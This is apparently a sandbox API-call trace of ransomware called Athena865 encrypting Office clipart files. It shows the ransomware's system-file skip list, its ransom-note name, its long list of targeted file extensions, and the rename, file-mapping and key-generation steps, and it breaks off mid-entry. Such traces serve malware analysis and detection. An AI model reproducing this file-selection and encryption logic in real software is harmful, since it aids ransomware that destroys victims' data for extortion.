[0121.138] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0121.138] lstrlenW (lpString="wmdb") returned 4 [0121.138] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0121.138] lstrlenW (lpString="wrk") returned 3 [0121.138] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0121.138] lstrlenW (lpString="xdb") returned 3 [0121.138] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0121.138] lstrlenW (lpString="xld") returned 3 [0121.138] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0121.138] lstrlenW (lpString="xmlff") returned 5 [0121.138] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0121.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.Athena865") returned 73 [0121.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.athena865"), dwFlags=0x1) returned 1 [0121.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.139] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1146) returned 1 [0121.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.140] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.140] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.140] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.141] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x780, lpName=0x0) returned 0x154 [0121.144] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x780) returned 0x100000 [0121.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.146] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.146] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.147] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.147] CloseHandle (hObject=0x154) returned 1 [0121.147] CloseHandle (hObject=0x17c) returned 1 [0121.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.148] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".") returned 1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="..") returned 1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="windows") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootmgr") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="temp") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="pagefile.sys") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="boot") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ids.txt") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ntuser.dat") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="perflogs") returned -1 [0121.148] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="MSBuild") returned -1 [0121.148] lstrlenW (lpString="AG00161_.GIF") returned 12 [0121.148] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00161_.GIF" | out: lpString1="AG00161_.GIF") returned="AG00161_.GIF" [0121.148] lstrlenW (lpString="AG00161_.GIF") returned 12 [0121.148] lstrlenW (lpString="Athena865") returned 9 [0121.148] lstrcmpiW (lpString1="0161_.GIF", lpString2="Athena865") returned -1 [0121.148] lstrlenW (lpString=".dll") returned 4 [0121.149] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".dll") returned 1 [0121.149] lstrlenW (lpString=".lnk") returned 4 [0121.149] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".lnk") returned 1 [0121.149] lstrlenW (lpString=".ini") returned 4 [0121.149] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".ini") returned 1 [0121.149] lstrlenW (lpString=".sys") returned 4 [0121.149] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".sys") returned 1 [0121.149] lstrlenW (lpString="AG00161_.GIF") returned 12 [0121.149] lstrlenW (lpString="bak") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.149] lstrlenW (lpString="ba_") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.149] lstrlenW (lpString="dbb") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.149] lstrlenW (lpString="vmdk") returned 4 [0121.149] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.149] lstrlenW (lpString="rar") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.149] lstrlenW (lpString="zip") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.149] lstrlenW (lpString="tgz") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.149] lstrlenW (lpString="vbox") returned 4 [0121.149] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.149] lstrlenW (lpString="vdi") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.149] lstrlenW (lpString="vhd") returned 3 [0121.149] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.149] lstrlenW (lpString="vhdx") returned 4 [0121.149] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.150] lstrlenW (lpString="avhd") returned 4 [0121.150] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.150] lstrlenW (lpString="db") returned 2 [0121.150] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.150] lstrlenW (lpString="db2") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.150] lstrlenW (lpString="db3") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.150] lstrlenW (lpString="dbf") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.150] lstrlenW (lpString="mdf") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.150] lstrlenW (lpString="mdb") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.150] lstrlenW (lpString="sql") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.150] lstrlenW (lpString="sqlite") returned 6 [0121.150] lstrcmpiW (lpString1="1_.GIF", lpString2="sqlite") returned -1 [0121.150] lstrlenW (lpString="sqlite3") returned 7 [0121.150] lstrcmpiW (lpString1="61_.GIF", lpString2="sqlite3") returned -1 [0121.150] lstrlenW (lpString="sqlitedb") returned 8 [0121.150] lstrcmpiW (lpString1="161_.GIF", lpString2="sqlitedb") returned -1 [0121.150] lstrlenW (lpString="xml") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.150] lstrlenW (lpString="$er") returned 3 [0121.150] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.150] lstrlenW (lpString="4dd") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.151] lstrlenW (lpString="4dl") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.151] lstrlenW (lpString="^^^") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.151] lstrlenW (lpString="abs") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.151] lstrlenW (lpString="abx") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.151] lstrlenW (lpString="accdb") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.151] lstrlenW (lpString="accdc") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.151] lstrlenW (lpString="accde") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.151] lstrlenW (lpString="accdr") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.151] lstrlenW (lpString="accdt") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.151] lstrlenW (lpString="accdw") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.151] lstrlenW (lpString="accft") returned 5 [0121.151] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.151] lstrlenW (lpString="adb") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.151] lstrlenW (lpString="adb") returned 3 [0121.151] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.152] lstrlenW (lpString="ade") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.152] lstrlenW (lpString="adf") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.152] lstrlenW (lpString="adn") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.152] lstrlenW (lpString="adp") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.152] lstrlenW (lpString="alf") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.152] lstrlenW (lpString="ask") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.152] lstrlenW (lpString="btr") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.152] lstrlenW (lpString="cat") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.152] lstrlenW (lpString="cdb") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.152] lstrlenW (lpString="ckp") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.152] lstrlenW (lpString="cma") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.152] lstrlenW (lpString="cpd") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.152] lstrlenW (lpString="dacpac") returned 6 [0121.152] lstrcmpiW (lpString1="1_.GIF", lpString2="dacpac") returned -1 [0121.152] lstrlenW (lpString="dad") returned 3 [0121.152] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.153] lstrlenW (lpString="dadiagrams") returned 10 [0121.153] lstrcmpiW (lpString1="00161_.GIF", lpString2="dadiagrams") returned -1 [0121.153] lstrlenW (lpString="daschema") returned 8 [0121.153] lstrcmpiW (lpString1="161_.GIF", lpString2="daschema") returned -1 [0121.153] lstrlenW (lpString="db-journal") returned 10 [0121.153] lstrcmpiW (lpString1="00161_.GIF", lpString2="db-journal") returned -1 [0121.153] lstrlenW (lpString="db-shm") returned 6 [0121.153] lstrcmpiW (lpString1="1_.GIF", lpString2="db-shm") returned -1 [0121.153] lstrlenW (lpString="db-wal") returned 6 [0121.153] lstrcmpiW (lpString1="1_.GIF", lpString2="db-wal") returned -1 [0121.153] lstrlenW (lpString="dbc") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.153] lstrlenW (lpString="dbs") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.153] lstrlenW (lpString="dbt") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.153] lstrlenW (lpString="dbv") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.153] lstrlenW (lpString="dbx") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.153] lstrlenW (lpString="dcb") returned 3 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.153] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.Athena865") returned 73 [0121.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.athena865"), dwFlags=0x1) returned 1 [0121.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.155] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7583) returned 1 [0121.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.155] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.156] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.156] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.156] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20a0, lpName=0x0) returned 0x154 [0121.160] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20a0) returned 0x100000 [0121.161] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.162] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.162] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.163] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.163] CloseHandle (hObject=0x154) returned 1 [0121.163] CloseHandle (hObject=0x17c) returned 1 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.163] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0121.163] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.163] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.163] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".") returned 1 [0121.163] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="..") returned 1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="windows") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootmgr") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="temp") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="pagefile.sys") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="boot") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ids.txt") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ntuser.dat") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="perflogs") returned -1 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="MSBuild") returned -1 [0121.164] lstrlenW (lpString="AG00163_.GIF") returned 12 [0121.164] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00163_.GIF" | out: lpString1="AG00163_.GIF") returned="AG00163_.GIF" [0121.164] lstrlenW (lpString="AG00163_.GIF") returned 12 [0121.164] lstrlenW (lpString="Athena865") returned 9 [0121.164] lstrcmpiW (lpString1="0163_.GIF", lpString2="Athena865") returned -1 [0121.164] lstrlenW (lpString=".dll") returned 4 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".dll") returned 1 [0121.164] lstrlenW (lpString=".lnk") returned 4 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".lnk") returned 1 [0121.164] lstrlenW (lpString=".ini") returned 4 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".ini") returned 1 [0121.164] lstrlenW (lpString=".sys") returned 4 [0121.164] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".sys") returned 1 [0121.164] lstrlenW (lpString="AG00163_.GIF") returned 12 [0121.164] lstrlenW (lpString="bak") returned 3 [0121.164] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.164] lstrlenW (lpString="ba_") returned 3 [0121.164] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.165] lstrlenW (lpString="dbb") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.165] lstrlenW (lpString="vmdk") returned 4 [0121.165] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.165] lstrlenW (lpString="rar") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.165] lstrlenW (lpString="zip") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.165] lstrlenW (lpString="tgz") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.165] lstrlenW (lpString="vbox") returned 4 [0121.165] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.165] lstrlenW (lpString="vdi") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.165] lstrlenW (lpString="vhd") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.165] lstrlenW (lpString="vhdx") returned 4 [0121.165] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.165] lstrlenW (lpString="avhd") returned 4 [0121.165] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.165] lstrlenW (lpString="db") returned 2 [0121.165] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.165] lstrlenW (lpString="db2") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.165] lstrlenW (lpString="db3") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.165] lstrlenW (lpString="dbf") returned 3 [0121.165] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.166] lstrlenW (lpString="mdf") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.166] lstrlenW (lpString="mdb") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.166] lstrlenW (lpString="sql") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.166] lstrlenW (lpString="sqlite") returned 6 [0121.166] lstrcmpiW (lpString1="3_.GIF", lpString2="sqlite") returned -1 [0121.166] lstrlenW (lpString="sqlite3") returned 7 [0121.166] lstrcmpiW (lpString1="63_.GIF", lpString2="sqlite3") returned -1 [0121.166] lstrlenW (lpString="sqlitedb") returned 8 [0121.166] lstrcmpiW (lpString1="163_.GIF", lpString2="sqlitedb") returned -1 [0121.166] lstrlenW (lpString="xml") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.166] lstrlenW (lpString="$er") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.166] lstrlenW (lpString="4dd") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.166] lstrlenW (lpString="4dl") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.166] lstrlenW (lpString="^^^") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.166] lstrlenW (lpString="abs") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.166] lstrlenW (lpString="abx") returned 3 [0121.166] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.166] lstrlenW (lpString="accdb") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.167] lstrlenW (lpString="accdc") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.167] lstrlenW (lpString="accde") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.167] lstrlenW (lpString="accdr") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.167] lstrlenW (lpString="accdt") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.167] lstrlenW (lpString="accdw") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.167] lstrlenW (lpString="accft") returned 5 [0121.167] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.167] lstrlenW (lpString="adb") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.167] lstrlenW (lpString="adb") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.167] lstrlenW (lpString="ade") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.167] lstrlenW (lpString="adf") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.167] lstrlenW (lpString="adn") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.167] lstrlenW (lpString="adp") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.167] lstrlenW (lpString="alf") returned 3 [0121.167] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.167] lstrlenW (lpString="ask") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.168] lstrlenW (lpString="btr") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.168] lstrlenW (lpString="cat") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.168] lstrlenW (lpString="cdb") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.168] lstrlenW (lpString="ckp") 